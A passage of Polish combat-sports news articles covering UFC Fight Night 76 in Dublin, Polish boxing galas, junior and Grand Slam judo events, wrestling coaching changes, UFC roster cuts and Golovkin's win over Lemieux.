Sędziowie mieli jednak trudny wybór. Ich decyzja nie był jednogłośna, ale szczęśliwa dla polskiego fightera. Jotko wygrał i mógł cieszyć się z trzeciego zwycięstwa w UFC. Jeden arbiter uznał, że lepszy był Askham. Anglik był aktywny i nie ustępował umiejętnościami Polakowi, ale w pierwszej rundzie Jotko wyraźnie przeważał. Co dalej? Po roku przerwy Jotko jest głodny walki. Teraz chce wrócić do czołowej piętnastki wagi średniej, a w perspektywie myśli o walce rewanżowej z Magnusem Cedenbladem.

Efektowny Smolka

Joseph Duffy wypadł z rozpiski gali UFC Fight Night 76, a dla Dustina Poiriera nie znaleziono rywala, co spowodowało, że rangę walki wieczoru otrzymał pojedynek Louis Smolka vs Paddy Holohan. Co by nie powiedzieć rozstrzygnięcie było efektowne. Pod koniec drugiej rundy Smolka zdominował rywala w parterze. Duszenie zza pleców okazało się skuteczne, Holohan nie potrafił się uwolnić i musiał odklepać.

Neil Seery wykazał się niezwykła ekwilibrystyką. Jon Reyes nie wytrzymał bólu, który zaaplikował mu rywala stosując gilotynę. Garreth McLellan zalał ciosami Bubbę Busha w parterze i na dwie sekundy przed upływem czasu zakończył walkę.

Wyniki gali:

125Ibs: Louis Smolka pokonał Paddy’ego Holohana przez poddanie 
155Ibs: Norman Parke pokonał Rezę Madadiego przez jednogłośną decyzję
170Ibs: Darren Till vs. Nicolas Dalby większościowy remis 
125Ibs: Neil Seery pokonał Jona Delosa Reyesa przez poddanie (gilotyna)
155Ibs: Stevie Ray pokonał Mickaela Lebout przez jednogłośną decyzję 
115Ibs: Aisling Daly pokonała Erickę Almeidę przez jednogłośną decyzję 
185Ibs: Krzysztof Jotko pokonał Scott Askham przez niejednogłośną decyzję 
170Ibs: Tom Breese pokonał Cathala Pendreda przez TKO 
145Ibs: Darren Elkins pokonał Roberta Whiteforda przez jednogłośną decyzję 
185Ibs: Garreth McLellan pokonał Bubbę Busha przez TKO 

KM

Pierwsza porażka Gerleckiego

Michał Gerlecki zaprezentował się w walce wieczoru podczas gali Budweld Boxing Night w Białymstoku. 28-letni pięściarz kategorii półciężkiej zanotował pierwszą porażkę w zawodowej karierze.

Gerard Ajetović dał Polakowi prawdziwą lekcję boksu. Gerlecki został całkowicie zdominowany przez rywala. W Białymstoku zaprezentowali się również Robert Świerzbiński i Nikodem Jeżewski.

Groźny Ajetović

Do tej pory Gerlecki zbierał kolejne doświadczenia na ringu z pozytywnym efektem. Polak stopniowo doskonalił swoje umiejętności podczas występów w Polsce. Trafiał na różnych przeciwników. Niektórzy dopiero zbierali doświadczenie na ringu, a inni byli tylko i wyłącznie solidni. W marcu 2015 roku podczas gali w Lubinie Gerlecki zmierzył się z doświadczonym Stjepanem Bozicem, który stoczył ponad trzydzieści zawodowych walk. Bilans Polaka wyglądał blado, gdyż do rywalizacji przystępował z wynikiem dziewięciu zwycięskich pojedynków. Gerlecki pokazał, że ma mocny cios i w czwartej rundzie pokonał Bozica.

Ajetović to kolejny z doświadczonych pięściarz na drodze Gerleckiego. 34-letni pięściarz stoczył na ringach czterdzieści walk, jednak ostatnie cztery przegrał. Wielu obserwatorów przed pojedynkiem uważało, że Gerlecki jest faworytem. Akcje Ajetovicia nie stały wysoko, ale w boksie doświadczenie odgrywa istotną rolę. Pojedynek od początku był ostrożny w wykonaniu obu pięściarzy. Gerlecki starał się rozpoznać Serba. Polak szukał swojej szansy, jednak pojedyncze ciosy nie mogły zrobić jego oponentowi krzywdy. Ajetović decydował się na szarże, ale były to sporadyczne akcje. Z czasem 34-latek poczynał sobie coraz śmielej. Faktem jest, że Gerlecki zadawał więcej ciosów, ale mocniejsze i skuteczniejsze wyprowadzał Ajetović. W czwartej odsłonie 34-latek prawym sierpowym zachwiał polskim bokserem. Gerlecki musiał uważać, jednak doświadczony Ajetović raz po raz punktował Polaka. Do swojej gamy ciosów wprowadził uderzenia na tułów, z którymi 28-latek nie mógł sobie poradzić. Czas uciekał, a przewaga Ajetovicia rosła. W dziesiątej rundzie 34-latek rozstrzygnął pojedynek na swoją korzyść. Prawy podbródkowy był na tyle mocny, że Gerlecki padł na deski. Wstał i chciał kontynuować walkę, ale po raz kolejny upadł. Gerlecki próbował jeszcze boksować, ale sędzia przerwał pojedynek. Na kartach sędziowskich również widoczna była przewaga Ajetovicia, który dzięki wygranej zdobył tytuł międzynarodowego mistrza Rzeczpospolitej.

Jeżewski nokautuje

W kategorii średniej spotkali się Robert Świerzbiński i Sebastian Skrzypczyński. Obaj nie mieli ostatnio dobrej passy, dlatego liczyli, że uda im się w końcu ją przerwać. Lepszy okazał się Świerzbiński, który od początku zaznaczył swoją przewagę i w oczach sędziów był zdecydowanie lepszy.

Nie patyczkował się Nikodem Jeżewski. Polak walczący w wadze cruiser już w drugiej rundzie posłał na deski Attilę Palko. Mateusz Rzadkosz po wyrównanej walce niejednogłośnie na punkty pokonał Ivana Murashkina. W wadze ciężkiej triumf Marcina Przeskiego, który w czwartej rundzie zakończył pojedynek z Wladimirem Letrą. Nadal bez wygranej na zawodowym ringu jest Patryk Boruta, który zremisował z Aliaksandrem Abramenką w kategorii półśredniej.

KM

Polacy rywalizują w Abu Zabi

Przez kilka najbliższych dni Zjednoczone Emiraty Arabskie będą areną zmagań judoków i judoczek. W Abu Zabi trwają mistrzostwa świata juniorek i juniorów.

To doskonała okazja, aby zawodnicy z poszczególnych krajów mogli określić swoje miejsce w światowej hierarchii. Jak w tej rywalizacji zaprezentują się Polacy?

Dziewięcioro naszych

Czekamy na dobre występy naszych juniorek i juniorów. Niestety, z rywalizacją pożegnał się już Patryk Wawrzyczek w kategorii 66kg. Polski judoka w pierwszym pojedynku poniósł porażkę w starciu z reprezentantem Iranu Alirezą Khojasteh. Na swoją walkę czeka Julia Kowalczyk, która rywalizuje w kategorii 57kg. Reprezentantka Polski zmierzy się z Francuzką Lisą Marchese. Również w tej samej wadze zobaczymy Martynę Dobrowolską. Druga z Polek w swojej pierwszej walce podejmie Therese Stoll z Niemiec.

Łącznie do Abu Zabi udało się dziewięcioro naszych reprezentantów. Na pierwszego rywala czeka Piotr Kuczera. Nasz judoka w losowaniu dostał wolny los i jego pierwszym rywalem będzie zwycięzca pojedynku Azamat Bektursunov-Noah Mcdonald. W kategorii 90kg, oprócz Kuczery, wystąpi również Rafał Kozłowski. Polak w pierwszym pojedynku w Abu Zabi podejmie reprezentanta Mongolii Tserennyamę Delgera. Jan Jackiewicz wystąpi w kategorii +100kg. W losowaniu Polak trafił na Brazylijczyka Joao Cesarino Silvę. Kamila Pasternak w kategorii 78kg trafiła na Rosjankę Marinę Bukreevą. Dwie nasze zawodniczki wystąpią w +78kg. Na początek Beata Pacut zmierzy się z Iuliią Lianicenko, a Anna Załęczna stanie do boju z Wakabą Tomitą.

Azjatycki początek

Na liście zgłoszonych do startu w Abu Zabi widnieje ponad pięćset pięćdziesiąt nazwisk. Niemalże każda kategoria jest licznie i silnie obsadzona. Jedynie w czterech grupach startuje poniżej trzydziestu zawodników. Chodzi o kategorie 44kg, 70kg, 78kg i +78 kg. Wszystkie u pań. Najmniej, bo szesnaście judoczek stanie do rywalizacji w wadze 44kg. Łącznie na tatami zaprezentują się judocy z osiemdziesięciu dwóch państw.

Pierwsze rozstrzygnięcia są już znane. W kategorii 44kg triumfowała zawodniczka z Korei Południowej Hyekyeong Lee, która w finale pokonała Japonkę Riko Igarashi. Na trzecich miejscach uplasowały się Narantsetseg Gaanbatar z Mongolii oraz Rita Reis z Brazylii. Z kolei Funa Tonaki z Japonii okazała się najlepsza w 48kg. Srebro dla Słowenki Marusy Stangar. Na najniższym stopniu podium stanęły Sephora Concher z Francji z Mikoto Tshunemi z Japonii.

U panów znane są już wyniki rywalizacji w 55kg i 60kg. Magzhan Shamshadin z Kazachstanu pokonał Harima Lee z Korei i zdobył złoty medal. Kolejny brąz dla Mongolii. Tym razem na trzecim miejscu uplasowałsię Amartuvshin Bayaraa. Pierwszy medal dla Gruzji wywalczył Irakli Kupatadze. W 60kg triumf Japończyka Ryuju Nagayamy, który pozbawił złota Mongolczyka Tsogtbaatara Tsendochira. Na trzecich miejscach: Walider Khyar z Francji oraz Channyeong Kim z Korei.

KM

Dublin w rozsypce

Miał być interesujący pojedynek, ale do niego nie dojdzie. Gala UFC Fight Night 76 w Dublinie została pozbawiona walki wieczoru.

W oktagonie miał się zaprezentować Joseph Duffy, czyli fighter, który ma na swoim koncie wygraną z Conorem McGregorem. Panowie spotkali się w 2010 roku i 27-letni Irlandczyk potrzebował trzydziestu ośmiu sekund, żeby rozprawić się ze swoim rodakiem. Duffy miał być gwiazdą UFC Fight Night 76, ale nią nie będzie.

Wszystko przez kontuzję

W walce wieczoru Duffy miał się spotkać z Dustinem Poirierem, który dwie ostatnie walki wygrał przed czasem. Starcie zapowiadało się ciekawie i wszyscy już zacierali ręce, jednak nagle pojawiła się niespodziewana informacja. Do pojedynku nie dojdzie. Dlaczego? Na jednym z treningów Duffy otrzymał mocny cios w głowę, po którym jego samopoczucie pogorszyło się. Po analizie wyników badań zapadła decyzja, że Irlandczyk nie zaprezentuje się 24 października podczas UFC Fight Night 76.

Prawdopodobnie do walki Duffy-Poirier dojdzie w późniejszym terminie. Przedstawiciele UFC zaproponowali Amerykaninowi innego kandydata do rywalizacji w Dublinie. Poirier nie chciał jednak konkurować z Normanem Parke’m. 26-latek stwierdził, że po ustaleniach ze swoim sztabem woli poczekać na Duffy’ego. Po wiadomości o kontuzji Irlandczyka chęć rywalizacji z Poirierem zgłosili m.in. Ross Pearson czy Conor McGregor.

Kibice są rozczarowani. Fani, którzy zakupili wejściówki na galę otrzymają zwrot pieniędzy. To nie pierwsza walka, która nie dojdzie do skutku w Dublinie. Wcześniej z rozpiski wypadł Stipe Miocić i dla Bena Rothwella nie znaleziono rywala. Walką wieczoru podczas gali w Dublinie będzie pojedynek Paddy Holohan vs. Louis Smolka.

Czwarty raz

W Dublinie nie zabraknie polskiego akcentu. Czwartą walkę w UFC stoczy Krzysztof Jotko, który startuje w wadze średniej.

Polski fighter wraca do rywalizacji w oktagonie po rocznej przerwie. Jotko miał się zaprezentować w kwietniu podczas gali UFC w Krakowie, jednak kontuzja uniemożliwiła mu start. Zastąpił go wtedy Bartosz Fabiński. Jednak ze zdrowiem 26-latka już wszystko w porządku i może przystąpić do rywalizacji. W Dublinie Polak zmierzy się z Scott’em Askhamem. Do tej pory Jotko stoczył o dwa pojedynki więcej od Anglika i ma dłuższy staż w UFC. Askham do najlepszej organizacji mieszanych sztuk walki na świecie trafił w 2014 roku. W debiucie poległ z Magnusem Cedenbladem, jednak druga walka zakończyła się jego wiktorią. Mocny cios kolanem sprawił, że Antonio dos Santos Jr. już po trzech minutach nie był zdolny do walki. Jotko musi się mieć na baczności, gdyż Anglik jest szybki i zwrotny. Nasz zawodnik jest wytrzymały i potrafi toczyć mordercze boje. Wygrana z Torem Troengiem pokazała, że 26-latka stać na wiele. Czy odniesie trzecie zwycięstwo w UFC?

KM

Klasyczne niepowodzenia

Rok przedolimpijski to zacięta walka o kwalifikacje do igrzysk. Nasi zapaśnicy w stylu klasycznym nadal muszą mieć się na baczności i szukać swojej szansy w kolejnych startach. Jedną przegapili.

Mistrzostwa świata w Las Vegas nie potoczyły się po myśli naszych klasyków. Nieudany start rozpoczął lawinę. Kadra została bez trenera. Polski Związek Zapaśniczy ogłosił konkurs na stanowisko szkoleniowca. Niebawem rozstrzygnięcie.

Wątpliwości

Ryszard Wolny i Włodzimierz Zawadzki to ikony polskich zapasów. Do niedawna prowadzili polską reprezentację w stylu klasycznym, jednak po mistrzostwach świata w Las Vegas stracili pracę. Nie chodzi nawet o brak medali. Podstawową kwestią było uzyskanie kwalifikacji olimpijskich, a tych zdobyć się nie udało.

Polski Związek Zapaśniczy podjął trudną decyzję i dla wielu osób dość kontrowersyjną. Zwolnienie szkoleniowca kadry na dziewięć miesięcy przed Igrzyskami Olimpijskimi to ogromne ryzyko. Trener Wolny doskonale znał kadrę, orientował się w problemach zawodników i przygotował pewien plan działania, który realizował. W przypadku mistrzostw świata efektów nie było. Zapewne jest to kwestia, która sprawia, że pojawiły się wątpliwości, czy klasycy idą dobrą drogą. Decyzja zapadła. Kadra szuka nowego trenera, a na dziewięć miesięcy przed igrzyskami olimpijskimi podjęcie się nowej misji to ogromne ryzyko. Nie każdy będzie chciał wziąć na siebie taką odpowiedzialność.

Można snuć scenariusze. Wolny zostaje na stanowisku, kilku zapaśników zdobywa kwalifikacje, a na igrzyskach zaliczą przyzwoite występy. Ten scenariusz już w grę nie wchodzi. Będzie nowy trener, który zaszczepi swoje zasady i autorski plan. Będzie musiał działać szybko, pod presją. Z każdej strony będzie obserwowany, bo czas ucieka, a nowy szkoleniowiec musi się w pewien schemat wdrożyć. Czy da radę? Musi to być fachowiec, który udźwignie ten ciężar i zmotywuje kadrę do działania, co pozwoli pojechać do Rio z nadziejami.

Decydujące chwile

W Las Vegas o krok od wywalczenia kwalifikacji olimpijskiej był Damian Janikowski w kategorii 85kg. Zawodnik Śląska Wrocław przegrał w ćwierćfinale z Zhanem Beleniukiem, a w repasażach poległ w starciu z Wiktorem Lorinczem. Ostatecznie Polak został sklasyfikowany na siódmej pozycji, a prawo do startu w Rio wywalczyło sześciu najlepszych zapaśników. Warto dodać, że Janikowski wystąpił w Światowych Wojskowych Igrzyskach Sportowych, gdzie zdobył srebro. Przegrał z Beleniukiem.

Nie ma, co ukrywać, że z Janikowskim polskie zapasy wiążą duże nadzieje. Jego start w Rio de Janeiro jest swego rodzaju obowiązkiem. Kiedy i gdzie będzie miał okazję walczyć o kwalifikację? W kwietniu w Zerjaninie odbędą się mistrzostwa Europy. Awans na igrzyska uzyskają finaliści imprezy. 22-24 kwietnia odbędzie się turniej kwalifikacyjny w Mongolii, a w dniach 6-8 maja w Stambule. Bilet do Rio wywalczy po trzech najlepszych zapaśników.

Kto poprowadzi naszych klasyków w tych startach? To się okaże w najbliższych tygodniach. Polski Związek Zapaśniczy musi przeanalizować oferty złożone w kończącym się postępowaniu.

KM

Gala Imbiriada Fighters Night 5 – Odwołana

W dniu dzisiejszym redakcja naszej telewizji otrzymała wiadomość o odwołaniu gali Imbiriada Fighters Night 5, która miała się odbyć w dniu 7 listopada 2015 r. w Rzeszowie w hotelu Blue Diamond. W nadesłanym oświadczeniu Organizatorzy wskazują jako powód przyczyny obiektywne – wycofanie sponsora strategicznego.

Federacji Fighters Night życzymy szybkiego uporania się z problemem i powrotu ze zdwojoną siłą.

Jose ”JoJo” Diaz i Frankie “Pitbull” Gomez wracają na ring w Fantasy Springs Casino!

Golden Boy Promotions powraca na antenę FightKlubu. Nowa seria gal na żywo rozpocznie się już w najbliższą noc z piątku na sobotę o godzinie 04:00, w słynnym Fantasy Springs Casino w Indio. W głównym pojedynku wieczoru swój talent zaprezentuje sensacja kategorii piórkowej – Amerykanin Joseph “JoJo” Diaz Jr (17-0, 10 KO). Zwycięską passę boksera z South El Monte postara się zatrzymać Meksykanin Ruben “Canelito” Tamayo (23-6-4, 15 KO). 22-letni, walczący z pozycji mańkuta “JoJo” jest ambitny i bezkompromisowy. Bokser zapowiada brutalne pobicie swojego rywala, zakończone nokautem. “Canelito” powie “sprawdzam” już na ringu w Fantasy Springs Casino. Na jego korzyść działa także odwrotna pozycja, a zatem na ringu zobaczymy rzadko spotykane starcie dwóch mańkutów. Walkę zaplanowano na 10 rund.

W drugiej walce wieczoru długo wyczekiwany powrót na ring zanotuje Frankie “Pitbull” Gomez (18-0, 13 KO). Amerykanin meksykańskiego pochodzenia nie pojawił się między linami od lipca zeszłego roku, kiedy to pokonał znanego nam z bojów z Krzysztofem Bieniasem, Włocha Vernona Parrisa. Rywalem 23-letniego “Pitbulla” będzie inny „zwierzak” – Jorge “Pantera” Silva (21-9-2, 17 KO). Gomez to wicemistrz świata amatorów z 2009 roku, trenowany obecnie przez Freddiego Roacha. Szykuje się klasyczna “meksykańska” wojna. Walkę w kategorii półśredniej zaplanowano na 10 rund.

Na te i inne pojedynki z Indio zapraszamy do FightKlubu. Transmisja w nocy z piątku na sobotę od godziny 04:00 (powtórka w sobotę o 11:30).

Gołowkin będzie mistrzem WBC?

W listopadzie odbędzie się interesujący dla hierarchii w wadze średniej pojedynek. Naprzeciw siebie staną Miguel Cotto oraz Saul „Canelo” Alvarez. 

Ten pojedynek będzie starciem starego i doświadczonego lisa oraz młodego, a zarazem mocnego boksera. Cotto jest królem wagi średniej WBC, jednak Alvarez do tej pory przegrał tylko z Floydem Mayweatherem Jr. Meksykanin chce wrócić na szczyt i zdobywać kolejne tytuły.

Potem Gołowkin

Z pewnością starcie Portorykańczyka i Meksykanina dostarczy wielu emocji. Obaj pięściarze potrafią być efektowni i skuteczni. 21 listopada będą mogli zaprezentować swój repertuar. Wydaje się, że Cotto może, a musi Alvarez, ale to tak naprawdę rozstrzygnie się w ringu. Dopiero później będzie można dokonywać bilansu zysku i strat.

Przy okazji można wybiec trochę w przyszłość. Prawdopodobnie zwycięzca pojedynku będzie musiał zmierzyć się z Giennadijem Gołowkinem. Kazach w swojej ostatniej walce pokonał przed czasem Davida Lemieux. Tym samym Gołowkin zunifikował pasy WBA i IBF w wadze średniej, a przy okazji zyskał miano pretendenta do tytułu mistrza świata WBC. – Zwycięzca walki Cotto-Alvarez zmierzy się z Gołowkinem. Cotto i "Canelo" to czołówka boksu, a Gołowkin udowadnia, że też należy do elity. Taki pojedynek może być wielkim wydarzeniem. Gołowkin udowadnia, że walczy na wysokim poziomie i jest jednym z najlepszych pięściarzy bez podziału na kategorie wagowe – mówi Mauricio Sulaiman, prezes WBC.

Tym samym wszystko jest jasne. Jedna walka może poprzedzić drugie wielkie wydarzenie w kategorii średniej. Czy tak musi być?

A może inaczej?

Wydaje się, że zwycięzca walki Cotto-Alvarez powinien stoczyć pojedynek z Gołowkinem, jednak jest wyjście ewakuacyjne. Teoretycznie można uniknąć tego pojedynku. Zwycięzca listopadowego pojedynku może nie zgodzić się na starcie z Gołowkinem.

Wiadomo, że federacja jedno, a pięściarze mogą mieć zupełnie inne plany. Niezaprzeczalna jest kwestia finansowa i podjęcie negocjacji, które mają doprowadzić do rozwiązania satysfakcjonującego obie strony. Warto zauważyć, że Cotto bądź Alvarez nie będą mogli stoczyć wolnej walki w obronie pasa. Niejako WBC zmusi wygranego do starcia z Gołowkinem. Co jeśli ten nie zgodzi się? Wtedy mistrzowski pas zostanie zwakowany. W związku z tym Gołowkin, który jest w posiadaniu tymczasowego tytułu zostanie pełnoprawnym mistrzem.

Czy taki scenariusz jest możliwy? Głos w tej sprawie zabrał Alvarez. Z jego słów wynika, że po pojedynku z Cotto nie będzie gotowy na starcie z Gołowkinem. Pojedynek z Cotto Meksykanin stoczy w limicie 155 funtów, czyli nieco ponad 70kg. Kategoria średnia obowiązuje do 160 funtów, czyli „Canelo” musiałby zwiększyć swoją masę. Meksykanin podkreśla, że nie jest na to gotowy.

Tytułu dla Gołowkina nie ma, co jeszcze przesądzać. Alvarez już zabrał głos, a jeszcze nie stoczył walki z Cotto.  Może problem, czy walczyć z Kazachem będzie miał Portorykańczyk. Jedno jest pewne: zwycięzca listopadowego starcia powinien stoczyć bój z pretendentem Gołowkinem.

KM

Kontuzje trapią nasze judoczki

Podczas Grand Slam w Paryżu naszym judokom nie udało się odnieść sukcesu. W stolicy Francji kontuzji doznała Daria Pogorzelec, startować miała również Agata Ozdoba. Brązowej medalistki mistrzostw Europy z Montpellier zabrało. Dlaczego? Wszystko przez kontuzję, której doznała w Korei.

Dwie srebrne medalistki mistrzostw świata w Astanie w drużynie muszą zatem odpocząć od judo i wyleczyć swoje urazy. Warto pamiętać, że cały czas pauzuje Agata Perenc.

Długa przerwa Ozdoby

Dla wielu sportowców kontuzja kolana oznacza długą przerwę. Nie ma się, co dziwić, gdyż staw kolanowy to drugi najbardziej obciążany staw człowieka. Dodatkowo jest złożony. W stawie kolanowym łączą się kości: udowa i piszczelowa.

Agata Ozdoba (63kg) miała jechać na zawody Grand Slam w Paryżu, jednak pechowo zakończył się dla niej start w Światowych Sportowych Igrzyskach Sportowych. W Korei Południowej nasza zawodniczka nabawiła się kontuzji. Podczas walki z Marianą Silvą została kopnięta w prawe kolano. Poczuła ogromny ból. Diagnoza okazała się bezlitosna dla brązowej medalistki ubiegłorocznych mistrzostw Europy. Ozdoba ma zerwane więzadła krzyżowe, czeka ją operacja i długa przerwa. Nie wiadomo, czy nasza judoczka w związku z długotrwałą absencją pojedzie na przyszłoroczne Igrzyska Olimpijskie w Rio de Janeiro.

Po operacji przyjdzie czas na odpoczynek i rehabilitację, która pomoże wrócić Ozdobie do pełnej dyspozycji. Wszystko wskazuje na to, że zawodniczka AZS AWF Katowice będzie pauzowała przez pół roku. W najlepszym wypadku wróci w kwietniu i będzie mogła wystartować w mistrzostwach Europy w Kazaniu. Niewykluczone, że powrót Ozdoby wydłuży się w czasie. Prawdopodobnie na tatami będzie mogła pojawić się w maju. 5 sierpnia wystartują Igrzyska Olimpijskie. Polka będzie miała mało czasu, aby wywalczyć kwalifikację do Rio.

Do Paryża pojechała za to Daria Pogorzelec (78kg). Piąta zawodniczka Igrzysk Europejskich w Baku w stolicy Francji stoczyła jeden pojedynek, a do kolejnej walki już nie przystąpiła. Judoczka Wybrzeża Gdańsk nabawiła się kontuzji kolana.

Perenc również pauzuje

Agata Perenc (52kg) z powodu złamania kości strzałkowej nie mogła wziąć udziału w mistrzostwach świata w Astanie. Zawodniczka Polonii Rybnik w tym roku prezentowała równą formę i zdobywała cenne punkty w kwalifikacjach olimpijskich. W Pucharze Europy w Oberwart zdobyła brązowy medal. Pech chciał, że przed najważniejszą imprezą sezonu doznała urazu. Perenc nadal nie wróciła na tatami. Jej przerwa trwa już dwa miesiące.

Przed mistrzostwami świata trener kadry Aneta Szczepańska miała ból głowy. Z powodu urazu do Astany nie pojechała również Ewa Konieczny (48kg). W październiku scenariusz się powtarza. Tym razem kontuzje eliminują z kolejnych startów dwa mocne ogniwa polskiej kadry. W przypadku Pogorzelec nie wiadomo, ile potrwa jej absencja.

KM

Polak zwolniony z UFC

Przygoda Pawła Pawlaka z UFC dobiegła końca. Amerykańska organizacja pożegnała się z kilkunastoma zawodnikami.

W tym gronie znalazł się Pawlak, który w UFC stoczył trzy walki. Do najlepszej organizacji mieszanych sztuk walki na świecie zawodnik Gracie Barra Łódź trafił jako niepokonany.

Porażka w debiucie

UFC to inny świat. Zupełnie inne wymagania, wyższy poziom i emocje. Aby rywalizować w UFC trzeba prezentować wysoki poziom umiejętności oraz posiadać odpowiednie cechy charakteru, a przede wszystkim cechować się odpornością psychiczną. Paweł Pawlak, który w rywalizuje wadze półśredniej spróbował swoich sił w UFC. Dostał szansę i chciał ją wykorzystać, stoczył trzy walki i postanowiono mu podziękować.

Kontrakt Pawlaka dobiegł końca. Zazwyczaj UFC zwalnia zawodników po dwóch porażkach z rzędu, co Polaka nie dotyczy. Pawlak debiutował w amerykańskiej organizacji podczas gali w Berlinie w maju 2014 roku. Polski fighter zmierzył się z Peterem Sobottą. Pojedynek trwał trzy rundy i zakończył się triumfem Niemca. Kolejną walkę Pawlak w UFC stoczył po upływie jedenastu miesięcy. Miał świadomość, że walczy o swój byt w organizacji. 26-latek otrzymał możliwość zaprezentowania się na rodzimej ziemi, gdyż był jednym z uczestników gali w Krakowie. Pawlak po trzech rundach mógł wznieść ręce w geście triumfu po pojedynku z Sheldonem Westcottem.

Trzecią, i jak się okazało ostatnią, walkę Polak stoczył w lipcu podczas UFC Fight Night 72. Leon Edwards zaprezentował się lepiej w oktagonie i przekonał sędziów, że to jemu należy się zwycięstwo.

To kolejne czystka w UFC. Najlepsza organizacja mieszanych sztuk walki na świecie regularnie zwalnia zawodników. Uwarunkowane jest to tym, że część z nich przebywa w organizacji w zastępstwie kontuzjowanych gwiazd. De facto jeden słabszy występ może być powodem do zakończenia przygody z UFC.

Wraz z Pawlakiem z organizacji zostali zwolnieni: Ivan Jorge, Francisco Trevino, Hernani Perpetuo, Vagner Rocha, David Michaud, Naoyuki Kotani, Amir Sadollah, Roger Narvaez, Chris Clements, Luke Zachrich, TJ Waldburger, William Macario, Eddie Gordon, Matt Van Buren, Leonardo Mafra, Christos Giagos, Ron Stallings, Roger Zapata, Joe Merritt, Lewis Gonzalez. 

Zmiana na KSW

Do zmiany doszło w rozpisce gali KSW 33, która odbędzie się 28 listopada w Krakowie. Główną atrakcją będzie pojedynek Michała Materli z Mamedem Khalidovem. 

W Krakowie nie wystąpi Jakub Kowalewicz, który w swoich ostatnich występach nie zachwycił. Fighter poniósł porażkę podczas gali ACB 19 z Olegiem Bagovem. Warto nadmienić, że do tej pory wystąpił na czterech wydarzeniach KSW i zanotował trzy zwycięstwa.

Za Kowalewicza pojawi się Grzegorz Szulakowski, który podczas majowej gali efektownie uporał się z Patrykiem Grudniewskim. Tym razem stanie do rywalizacji z Łukaszem Chlewickim.

KM

Bezowocny start we Francji

Tym razem żadnemu z naszych judoków nie udało się stanąć na podium w zawodach Grand Slam. Podczas turnieju w Paryżu kontuzji nabawiła się startująca w kategorii 78kg Daria Pogorzelec.

W stolicy Francji zaprezentowało się troje reprezentantów Polski, jednak próżno doszukiwać się wybitnych osiągnięć. Biało-czerwoni szybko pożegnali się z zawodami.

Kontuzja Pogorzelec

Niepokoją wieści dotyczące Darii Pogorzelec. Judoczka Wybrzeża Gdańsk podczas startu w Paryżu nabawiła się kontuzji kolana. Na obecną chwilę trudno określić jak poważny jest to uraz. Wszystko będzie jasne po wykonaniu szczegółowych badań.

Srebrna medalistka mistrzostw świata w Astanie w drużynie start w Paryżu rozpoczęła od starcia z Yahimą Ramirez. Polka od początku był aktywna i starała się podciąć swoją przeciwniczkę, aby zdobyć punkty, jednak ta skutecznie broniła się. Reprezentantka Portugalii również szukała szans, ale nie zawsze zagrywała czysto. Pogorzelec była twarda i zdecydowana, ale Ramirez nie zamierzała odpuszczać. Triumfowała Polka, gdyż jej rywalka zarobiła trzy żółte kartki. Okazało się, że Pogorzelec w tym pojedynku nabawiła się kontuzji kolana.

Dalsza rywalizacja była wykluczona. W kolejnej walce na Polkę czekała wicemistrzyni olimpijska z Londynu Gemma Gibbons, jednak Pogorzelec musiała oddać pojedynek walkowerem. Zawodniczka z Wysp Brytyjskich w Paryżu zajęła 5. pozycję. Triumfowała Audrey Tcheumeo z Francji, która w finale uporała się z Ruiką Sato.

Francuzka zbyt silna

Tylko jedną walkę w Paryżu stoczyła Katarzyna Kłys w kategorii 70kg. Polka trafiła na reprezentantkę gospodarzy Margaux Pinot. Francuzka od samego początku była aktywna i szukała swojej szansy. Pinot próbowała różnych sposobów, aby rzucić Polkę i zdobyć punkty. W końcu jej starania przyniosły efekt. Pinot wygrała przez waza-ari. Ostatecznie Francuzka sięgnęła po brązowy medal, a w kategorii 70kg triumfowała Haruka Tachimoto.

Łukasz Błach stoczył podczas zawodów w Paryżu trzy pojedynki, ale opadł przed główną rozgrywką. Polak udział w Grand Slam w stolicy Francji rozpoczął efektownie. W pierwszej walce Polak rywalizujący w kategorii 81kg trafił na Jeana-Pierre'a Adingrę. Błach szybko rozstrzygnął pojedynek na swoją korzyść i wygrał przez ippon. Kolejnym rywalem polskiego judoki był Konstantins Ovchinnikovs. Rozgoryczenie Łotysza sięgało zenitu, gdyż Błach twardo trzymał się na nogach. Początkowo Ovchinnikovs liczył, że uda mu się zaskoczyć rywala, ale Polak szybko sprowadził go na ziemię. Błach wygrał przez ippon. Imponujący początek reprezentanta Polski, ale trzecia walka okazała się ostatnią naszego judoki w Paryżu. Sposób na Błacha znalazł Alain Schmitt, który zwyciężył przez waza-ari. Najlepszy w kategorii 81kg okazał się Shaxzod Sobirov z Uzbekistanu.

Najwięcej złotych medali zdobyli Japończycy – cztery. O jeden mniej wywalczyli Francuzi.

KM

Niezwyciężony Gołowkin

Kolejny pięściarz nie znalazł sposobu na Giennadija Gołowkina. David Lemieux musiał uznać wyższość boksera z Kazachstanu.

Gołowkin ponownie dał pokaz swojego kunsztu. Dodatkowo do swojej kolekcji dołożył kolejny pas. Kazach pokonując Lemieuxa wywalczył pas mistrza świata IBF w wadze średniej.

Bezradny Lemieux

Pojedynek zapowiadany był jako starcie dwóch fenomenalnych pięściarzy. Rzeczywistość pokazała, że bokserski kunszt na najwyższym poziomie prezentuje tylko jeden z nich. Giennadij Gołowkin całkowicie zdominował Davida Lemieuxa na ringu w Nowym Jorku.

Kazach nie miał litości dla swojego rywala. Mocna głowa Kanadyjczyka tym razem nie wytrzymała siły i ilości ciosów. Od samego początku Gołowkin słał kolejne prawe w kierunku swojego przeciwnika. Mistrz świata WBA konsekwentnie rozbijał defensywę Kanadyjczyka, który był bezradny. Raz lewy, raz prawy i było wiadomo, kto w tej walce rozdaje karty. Lemieux starał się odpowiedzieć, jednak Gołowkin był jak skała. Ciosy Kanadyjczyka nie robiły na nim wrażenia mimo, że były dynamiczne i mocne.

